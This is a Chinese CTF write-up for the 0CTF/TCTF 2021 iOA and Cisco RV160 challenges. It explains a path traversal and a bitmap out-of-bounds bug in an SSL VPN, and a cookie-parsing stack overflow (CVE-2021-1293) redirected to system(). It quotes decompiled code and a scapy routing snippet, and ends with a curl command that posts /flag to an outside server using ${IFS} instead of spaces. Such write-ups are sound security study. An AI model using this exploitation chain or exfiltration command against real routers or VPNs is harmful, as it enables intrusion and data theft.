2021 TCTF iOA and RV Writeup
2021-07-06 01:00:00 Author: bestwing.me(查看原文) 阅读量:113 收藏

前言

周末和r3kapig的小伙伴一起打了, 0CTF/TCTF 2021 Quals, 然后两天的时间都耗在了 iOA 和 RV 这两个题身上了。

iOA

这个题目,在 pizza 和 圣博 因为在拖着我的情况下做了好久才做出来, 最终拿了个二血。

题目实现了一个 sslvpn 协议栈,有几个漏洞点

(1)urlencode 可以绕过 ../ 的检查,导致跨目录文件读取, 可以读取 user.txt 的账号密码

(2) vip 的 bitmap 操作有负数越界操作, 可以访问bss上的内容, 读master_key,改dhcp_pool,用req_vip的整数截断leak canary,在req_vip里栈溢出。

[^tips]: 有个坑点, 当时本地通了之后, 远程的堆布局居然还不一样

相关文件可以这里获取;

  1. sslvpn idb

    http://bestwing.me/attachments/2021-TCTF-quals/iOA/sslvpnd.i64

  2. leak.py

    http://bestwing.me/attachments/2021-TCTF-quals/iOA/leak.py

  3. exploit.py

    http://bestwing.me/attachments/2021-TCTF-quals/iOA/exploit.py

RV

题目描述:

Cisco RV160 Router behind iOA!
remote version is 1.0.01.01.
http://10.1.1.1

这个题目呢, 是一个 Cisco RV160的 1day题,这题也是比较可惜的。其实能做出来的,因为之前我刚好也给思科报过 RV160的洞,是一个httpd上的栈溢出,刚好也是这个版本。但是打比赛的时候为了省事, 想用 cgi 的命令注入打, 没打成功,而且不管访问什么当时都是返回 403 错误,一度让我怀疑人生

赛后才知道, 由于主办方是 docker + qemu 启动的, 猜测导致有些环境变量有问题,因此在403 check 的时候过不去,因此根本到不了执行 cgi 的位置。

然后在这里我打算公开这个的漏洞的细节,以及在这个题目上的利用, 这个漏洞应该是去年报告的,编号为 CVE-2021-1293

漏洞细节

在处理 cookie 的时候,会存在溢出栈溢出。

(1) 首先在 httpd handle 中, cookie 的指针会赋值到一个全局变量里

1
2
3
4
5
6
7
else if ( !strncasecmp(s1, "Cookie:", 7u) )
{
nptr = s1 + 7;
v11 = strspn(s1 + 7, " \t");
nptr += v11;
Cookie = (int)nptr;
}

(2) 然后在 check_need_login 函数中, 会判断哪些 uri 需要登录

1
2
3
4
5
6
v33 = check_need_login(v25);
if ( v33 )
v38 = check_Is_not_login_page((const char *)Cookie);
v26 = printf("=====is_login=%d, is_not_login_page=%d", v38, v33);
if ( v39 || !v38 && v33 )
{
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int check_need_login()
{
int v2;

v2 = 0;
if ( !uri_string || !*(_BYTE *)uri_string )
return 0;
if ( strstr((const char *)uri_string, "help")
|| strstr((const char *)uri_string, "images/collapsed.png")
|| strstr((const char *)uri_string, "cportal")
|| strstr((const char *)uri_string, ".htm")
&& !strstr((const char *)uri_string, "index.htm")
&& !strstr((const char *)uri_string, "login.htm")
&& !strstr((const char *)uri_string, "alert0.htm")
&& !strstr((const char *)uri_string, "confirm1.htm") )
{
v2 = 1;
}
printf("check_is_not_login_page====res=%d", v2);
return v2;
}

例如, 我访问 this_is_hack.htm ,这个url, 这个就符号需要登录的逻辑

(3) 然后 进入到 check_Is_not_login_page 函数中

在处理 sessionID 的过程中存在栈溢出漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __fastcall sub_16138(char *cookie, const char *buf)
{
......
printf("get_session_id session=%s", cookie);
s1 = 0;
if ( strstr(cookie, "sessionID") )
{
for ( s1 = strtok(cookie, " "); s1; s1 = strtok(0, " ") )
{
if ( !strncmp(s1, "sessionID", 9u) )
{
sub_15CE4(s1, byte_1FCD4, "=", v6, v5);
.......

判断 cookie 是否有 sessionID 字符串, 如果存在则进到 sub_15CE4 函数, 然后就能看到明显的栈溢出漏洞

1
2
3
4
5
6
7
8
  src = 0;

memset(s, 0, sizeof(s));
if ( *sessionID && strstr(sessionID, a2) && (src = strtok(sessionID, a2)) != 0 )
strcpy(s, src);
else
strcpy(s, sessionID);
...

漏洞利用

溢出后,我们可以控制的, 看起来我们可以控制的寄存器只有 R11 , 但实际上,返回后 R0 寄存器则是我们传入 cookie 参数的指针。

因此我们可以在 payload 的前面直接放置 system 执行的命令,然后控制 PC跳转到 system 函数上( httpd 程序本身有调用 httpd 的地方,不需要leak, 另外提一句,因为有 00 截断,因此我只能控制一次 PC 的地址,但是对这个环境来说足够了

另外这个题目在 0ctf 中是位于 iOA的后面的, 我们需要通过 iOA的vpn功能,访问内网中这个路由器,因此我们需要手撸一个 route 转发, 然后我们的圣博就直接用 scapy 简单撸了一个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.....
base = ip2long('172.31.0.0')
m = login()
req_vip(m, base + 2)
sport = randint(1024, 65535)
ip = IP(src='172.31.0.2', dst='10.1.1.1')
SYN = TCP(sport=sport, dport=80, flags='S', seq=1000)
s = raw(ip / SYN)
route(m, s)
data = recv_packet(m)
ack = IP(data)
a = TCP(sport=sport, dport=80, flags='A', seq=ack.ack + 1, ack=ack.seq + 1)
route(m, raw(ip / a))
d = TCP(sport=sport, dport=80, flags='PA', seq=1001, ack=ack.seq + 1) / payload.encode('latin1')
route(m, raw(ip / d))

m.interactive()

最后利用 curl -d @/flag server:port 的命令获取了flag (另外不能有空格, 如果存在空格的话就会被截断,因此这里用了 ${IFS} 替换了空格)

利用脚本:

http://bestwing.me/attachments/2021-TCTF-quals/RV/RV.py

binary idb

http://bestwing.me/attachments/2021-TCTF-quals/RV/mini_httpd.idb

漏洞修复

该漏洞已经修复, strcpy 函数换成了 strncpy 函数, 如果受到漏洞影响请尽快更新固件版本到最新版本。

Reference

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv160-260-rce-XZeFkNHf


文章来源: https://bestwing.me/2021-TCTF-RV-Writeup.html
如有侵权请联系:admin#unsafe.sh